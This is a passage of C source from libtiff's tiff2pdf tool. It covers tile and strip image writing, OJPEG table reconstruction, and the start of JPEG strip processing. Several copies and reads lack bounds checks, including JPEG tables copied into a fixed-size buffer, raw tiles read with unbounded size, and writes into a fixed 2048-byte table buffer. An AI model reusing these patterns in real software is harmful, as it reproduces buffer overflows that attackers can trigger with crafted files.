allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; t2p->tiff_datasize *= t2p->tiff_samplesperpixel; } t2p_sample_realize_palette(t2p, buffer); } if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgba_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){ samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length*4); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; } if(!TIFFReadRGBAImageOriented( input, t2p->tiff_width, t2p->tiff_length, (uint32*)buffer, ORIENTATION_TOPLEFT, 0)){ TIFFError(TIFF2PDF_MODULE, "Can't use TIFFReadRGBAImageOriented to extract RGB image from %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } t2p->tiff_datasize=t2p_sample_abgr_to_rgb( (tdata_t) buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){ t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } } dataready: t2p_disable(output); TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric); TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample); TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel); TIFFSetField(output, TIFFTAG_IMAGEWIDTH, t2p->tiff_width); TIFFSetField(output, TIFFTAG_IMAGELENGTH, t2p->tiff_length); TIFFSetField(output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_length); TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB); switch(t2p->pdf_compression){ case T2P_COMPRESS_NONE: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE); break; #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4); break; #endif /* ifdef CCITT_SUPPORT */ #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: if(t2p->tiff_photometric==PHOTOMETRIC_YCBCR) { uint16 hor = 0, ver = 0; if (TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &hor, &ver) !=0 ) { if(hor != 0 && ver != 0){ TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, hor, ver); } } if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){ TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp); } } if(TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG)==0){ TIFFError(TIFF2PDF_MODULE, "Unable to use JPEG compression for input %s and output %s", TIFFFileName(input), TIFFFileName(output)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){ TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){ TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW); } } if(t2p->pdf_colorspace & T2P_CS_GRAY){ (void)0; } if(t2p->pdf_colorspace & T2P_CS_CMYK){ (void)0; } if(t2p->pdf_defaultcompressionquality != 0){ TIFFSetField(output, TIFFTAG_JPEGQUALITY, t2p->pdf_defaultcompressionquality); } break; #endif /* ifdef JPEG_SUPPORT */ #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE); if(t2p->pdf_defaultcompressionquality%100 != 0){ TIFFSetField(output, TIFFTAG_PREDICTOR, t2p->pdf_defaultcompressionquality % 100); } if(t2p->pdf_defaultcompressionquality/100 != 0){ TIFFSetField(output, TIFFTAG_ZIPQUALITY, (t2p->pdf_defaultcompressionquality / 100)); } break; #endif /* ifdef ZIP_SUPPORT */ default: break; } t2p_enable(output); t2p->outputwritten = 0; #ifdef JPEG_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_JPEG && t2p->tiff_photometric == PHOTOMETRIC_YCBCR){ bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, stripsize * stripcount); } else #endif /* ifdef JPEG_SUPPORT */ { bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, t2p->tiff_datasize); } if (buffer != NULL) { _TIFFfree(buffer); buffer=NULL; } if (bufferoffset == (tsize_t)-1) { TIFFError(TIFF2PDF_MODULE, "Error writing encoded strip to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } written = t2p->outputwritten; return(written); } /* * This function reads the raster image data from the input TIFF for an image * tile and writes the data to the output PDF XObject image dictionary stream * for the tile. It returns the amount written or zero on error. */ tsize_t t2p_readwrite_pdf_image_tile(T2P* t2p, TIFF* input, TIFF* output, ttile_t tile){ uint16 edge=0; tsize_t written=0; unsigned char* buffer=NULL; tsize_t bufferoffset=0; unsigned char* samplebuffer=NULL; tsize_t samplebufferoffset=0; tsize_t read=0; uint16 i=0; ttile_t tilecount=0; /* tsize_t tilesize=0; */ ttile_t septilecount=0; tsize_t septilesize=0; #ifdef JPEG_SUPPORT unsigned char* jpt; float* xfloatp; uint32 xuint32=0; #endif /* Fail if prior error (in particular, can't trust tiff_datasize) */ if (t2p->t2p_error != T2P_ERR_OK) return(0); edge |= t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile); edge |= t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile); if( (t2p->pdf_transcode == T2P_TRANSCODE_RAW) && ((edge == 0) #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) || (t2p->pdf_compression == T2P_COMPRESS_JPEG) #endif ) ){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4){ buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawTile(input, tile, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_ZIP){ buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawTile(input, tile, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG){ if(! t2p->pdf_ojpegdata){ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with " "bad tables", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } buffer=(unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } _TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength); if(edge!=0){ if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile)){ buffer[7]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength >> 8) & 0xff; buffer[8]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength ) & 0xff; } if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile)){ buffer[9]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth >> 8) & 0xff; buffer[10]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth ) & 0xff; } } bufferoffset=t2p->pdf_ojpegdatalength; bufferoffset+=TIFFReadRawTile(input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); ((unsigned char*)buffer)[bufferoffset++]=0xff; ((unsigned char*)buffer)[bufferoffset++]=0xd9; t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG){ unsigned char table_end[2]; uint32 count = 0; buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (TIFF_SIZE_T) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0) { if (count > 0) { _TIFFmemcpy(buffer, jpt, count); bufferoffset += count - 2; table_end[0] = buffer[bufferoffset-2]; table_end[1] = buffer[bufferoffset-1]; } if (count > 0) { xuint32 = bufferoffset; bufferoffset += TIFFReadRawTile( input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset-2]), -1); buffer[xuint32-2]=table_end[0]; buffer[xuint32-1]=table_end[1]; } else { bufferoffset += TIFFReadRawTile( input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } #endif (void)0; } if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for " "t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } read = TIFFReadEncodedTile( input, tile, (tdata_t) &buffer[bufferoffset], t2p->tiff_datasize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } } else { if(t2p->pdf_sample == T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){ septilesize=TIFFTileSize(input); septilecount=TIFFNumberOfTiles(input); /* tilesize=septilesize*t2p->tiff_samplesperpixel; */ tilecount=septilecount/t2p->tiff_samplesperpixel; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } samplebuffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } samplebufferoffset=0; for(i=0;i<t2p->tiff_samplesperpixel;i++){ read = TIFFReadEncodedTile(input, tile + i*tilecount, (tdata_t) &(samplebuffer[samplebufferoffset]), septilesize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile + i*tilecount, TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } samplebufferoffset+=read; } t2p_sample_planar_separate_to_contig( t2p, &(buffer[bufferoffset]), samplebuffer, samplebufferoffset); bufferoffset+=samplebufferoffset; _TIFFfree(samplebuffer); } if(buffer==NULL){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } read = TIFFReadEncodedTile( input, tile, (tdata_t) &buffer[bufferoffset], t2p->tiff_datasize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } } if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgba_to_rgb( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){ TIFFError(TIFF2PDF_MODULE, "No support for YCbCr to RGB in tile for %s", TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){ t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } } if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile) != 0){ t2p_tile_collapse_left( buffer, TIFFTileRowSize(input), t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } t2p_disable(output); TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric); TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample); TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel); if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile) == 0){ TIFFSetField( output, TIFFTAG_IMAGEWIDTH, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); } else { TIFFSetField( output, TIFFTAG_IMAGEWIDTH, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); } if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile) == 0){ TIFFSetField( output, TIFFTAG_IMAGELENGTH, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); TIFFSetField( output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } else { TIFFSetField( output, TIFFTAG_IMAGELENGTH, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); TIFFSetField( output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); } TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB); switch(t2p->pdf_compression){ case T2P_COMPRESS_NONE: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE); break; #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4); break; #endif #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: if (t2p->tiff_photometric==PHOTOMETRIC_YCBCR) { uint16 hor = 0, ver = 0; if (TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &hor, &ver)!=0) { if (hor != 0 && ver != 0) { TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, hor, ver); } } if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){ TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp); } } TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); /* JPEGTABLESMODE_NONE */ if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){ TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){ TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW); } } if(t2p->pdf_colorspace & T2P_CS_GRAY){ (void)0; } if(t2p->pdf_colorspace & T2P_CS_CMYK){ (void)0; } if(t2p->pdf_defaultcompressionquality != 0){ TIFFSetField(output, TIFFTAG_JPEGQUALITY, t2p->pdf_defaultcompressionquality); } break; #endif #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE); if(t2p->pdf_defaultcompressionquality%100 != 0){ TIFFSetField(output, TIFFTAG_PREDICTOR, t2p->pdf_defaultcompressionquality % 100); } if(t2p->pdf_defaultcompressionquality/100 != 0){ TIFFSetField(output, TIFFTAG_ZIPQUALITY, (t2p->pdf_defaultcompressionquality / 100)); } break; #endif default: break; } t2p_enable(output); t2p->outputwritten = 0; bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t) 0, buffer, TIFFStripSize(output)); if (buffer != NULL) { _TIFFfree(buffer); buffer = NULL; } if (bufferoffset == -1) { TIFFError(TIFF2PDF_MODULE, "Error writing encoded tile to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } written = t2p->outputwritten; return(written); } #ifdef OJPEG_SUPPORT int t2p_process_ojpeg_tables(T2P* t2p, TIFF* input){ uint16 proc=0; void* q; uint32 q_length=0; void* dc; uint32 dc_length=0; void* ac; uint32 ac_length=0; uint16* lp; uint16* pt; uint16 h_samp=1; uint16 v_samp=1; unsigned char* ojpegdata; uint16 table_count; uint32 offset_table; uint32 offset_ms_l; uint32 code_count; uint32 i=0; uint32 dest=0; uint16 ri=0; uint32 rows=0; if(!TIFFGetField(input, TIFFTAG_JPEGPROC, &proc)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGProc field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(proc!=JPEGPROC_BASELINE && proc!=JPEGPROC_LOSSLESS){ TIFFError(TIFF2PDF_MODULE, "Bad JPEGProc field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGQTABLES, &q_length, &q)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGQTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(q_length < (64U * t2p->tiff_samplesperpixel)){ TIFFError(TIFF2PDF_MODULE, "Bad JPEGQTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGDCTABLES, &dc_length, &dc)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGDCTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(proc==JPEGPROC_BASELINE){ if(!TIFFGetField(input, TIFFTAG_JPEGACTABLES, &ac_length, &ac)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGACTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } else { if(!TIFFGetField(input, TIFFTAG_JPEGLOSSLESSPREDICTORS, &lp)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGLosslessPredictors field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGPOINTTRANSFORM, &pt)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGPointTransform field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } if(!TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp)){ h_samp=1; v_samp=1; } if(t2p->pdf_ojpegdata != NULL){ _TIFFfree(t2p->pdf_ojpegdata); t2p->pdf_ojpegdata=NULL; } t2p->pdf_ojpegdata = _TIFFmalloc(2048); if(t2p->pdf_ojpegdata == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_process_ojpeg_tables, %s", 2048, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } _TIFFmemset(t2p->pdf_ojpegdata, 0x00, 2048); t2p->pdf_ojpegdatalength = 0; table_count=t2p->tiff_samplesperpixel; if(proc==JPEGPROC_BASELINE){ if(table_count>2) table_count=2; } ojpegdata=(unsigned char*)t2p->pdf_ojpegdata; ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xd8; ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; if(proc==JPEGPROC_BASELINE){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xc0; } else { ojpegdata[t2p->pdf_ojpegdatalength++]=0xc3; } ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=(8 + 3*t2p->tiff_samplesperpixel); ojpegdata[t2p->pdf_ojpegdatalength++]=(t2p->tiff_bitspersample & 0xff); if(TIFFIsTiled(input)){ ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength ) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth ) & 0xff; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_length >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_length ) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_width >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_width ) & 0xff; } ojpegdata[t2p->pdf_ojpegdatalength++]=(t2p->tiff_samplesperpixel & 0xff); for(i=0;i<t2p->tiff_samplesperpixel;i++){ ojpegdata[t2p->pdf_ojpegdatalength++]=i; if(i==0){ ojpegdata[t2p->pdf_ojpegdatalength] |= h_samp<<4 & 0xf0;; ojpegdata[t2p->pdf_ojpegdatalength++] |= v_samp & 0x0f; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= 0x11; } ojpegdata[t2p->pdf_ojpegdatalength++]=i; } for(dest=0;dest<t2p->tiff_samplesperpixel;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xdb; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=0x43; ojpegdata[t2p->pdf_ojpegdatalength++]=dest; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength++]), &(((unsigned char*)q)[64*dest]), 64); t2p->pdf_ojpegdatalength+=64; } offset_table=0; for(dest=0;dest<table_count;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xc4; offset_ms_l=t2p->pdf_ojpegdatalength; t2p->pdf_ojpegdatalength+=2; ojpegdata[t2p->pdf_ojpegdatalength++]=dest & 0x0f; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)dc)[offset_table]), 16); code_count=0; offset_table+=16; for(i=0;i<16;i++){ code_count+=ojpegdata[t2p->pdf_ojpegdatalength++]; } ojpegdata[offset_ms_l]=((19+code_count)>>8) & 0xff; ojpegdata[offset_ms_l+1]=(19+code_count) & 0xff; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)dc)[offset_table]), code_count); offset_table+=code_count; t2p->pdf_ojpegdatalength+=code_count; } if(proc==JPEGPROC_BASELINE){ offset_table=0; for(dest=0;dest<table_count;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xc4; offset_ms_l=t2p->pdf_ojpegdatalength; t2p->pdf_ojpegdatalength+=2; ojpegdata[t2p->pdf_ojpegdatalength] |= 0x10; ojpegdata[t2p->pdf_ojpegdatalength++] |=dest & 0x0f; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)ac)[offset_table]), 16); code_count=0; offset_table+=16; for(i=0;i<16;i++){ code_count+=ojpegdata[t2p->pdf_ojpegdatalength++]; } ojpegdata[offset_ms_l]=((19+code_count)>>8) & 0xff; ojpegdata[offset_ms_l+1]=(19+code_count) & 0xff; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)ac)[offset_table]), code_count); offset_table+=code_count; t2p->pdf_ojpegdatalength+=code_count; } } if(TIFFNumberOfStrips(input)>1){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xdd; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=0x04; h_samp*=8; v_samp*=8; ri=(t2p->tiff_width+h_samp-1) / h_samp; TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows); ri*=(rows+v_samp-1)/v_samp; ojpegdata[t2p->pdf_ojpegdatalength++]= (ri>>8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= ri & 0xff; } ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xda; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=(6 + 2*t2p->tiff_samplesperpixel); ojpegdata[t2p->pdf_ojpegdatalength++]=t2p->tiff_samplesperpixel & 0xff; for(i=0;i<t2p->tiff_samplesperpixel;i++){ ojpegdata[t2p->pdf_ojpegdatalength++]= i & 0xff; if(proc==JPEGPROC_BASELINE){ ojpegdata[t2p->pdf_ojpegdatalength] |= ( ( (i>(table_count-1U)) ? (table_count-1U) : i) << 4U) & 0xf0; ojpegdata[t2p->pdf_ojpegdatalength++] |= ( (i>(table_count-1U)) ? (table_count-1U) : i) & 0x0f; } else { ojpegdata[t2p->pdf_ojpegdatalength++] = (i << 4) & 0xf0; } } if(proc==JPEGPROC_BASELINE){ t2p->pdf_ojpegdatalength++; ojpegdata[t2p->pdf_ojpegdatalength++]=0x3f; t2p->pdf_ojpegdatalength++; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= (lp[0] & 0xff); t2p->pdf_ojpegdatalength++; ojpegdata[t2p->pdf_ojpegdatalength++]= (pt[0] & 0x0f); } return(1); } #endif #ifdef JPEG_SUPPORT int t2p_process_jpeg_strip( unsigned char* strip, tsize_t* striplength, unsigned char* buffer, tsize_t* bufferoffset, tstrip_t no, uint32 height){ tsize_t i=0; while (i < *striplength) { tsize_t datalen; uint16 ri; uint16 v_samp; uint16 h_samp; int j; int ncomp; /* marker header: one or more FFs */ if (strip[i] != 0xff) return(0); i++; while (i < *striplength && strip[i] == 0xff) i++; if (i >= *striplength) return(0); /* SOI is the only pre-SOS marker without a length word */ if (strip[i] == 0xd8) datalen = 0; else { if ((*striplength - i) <= 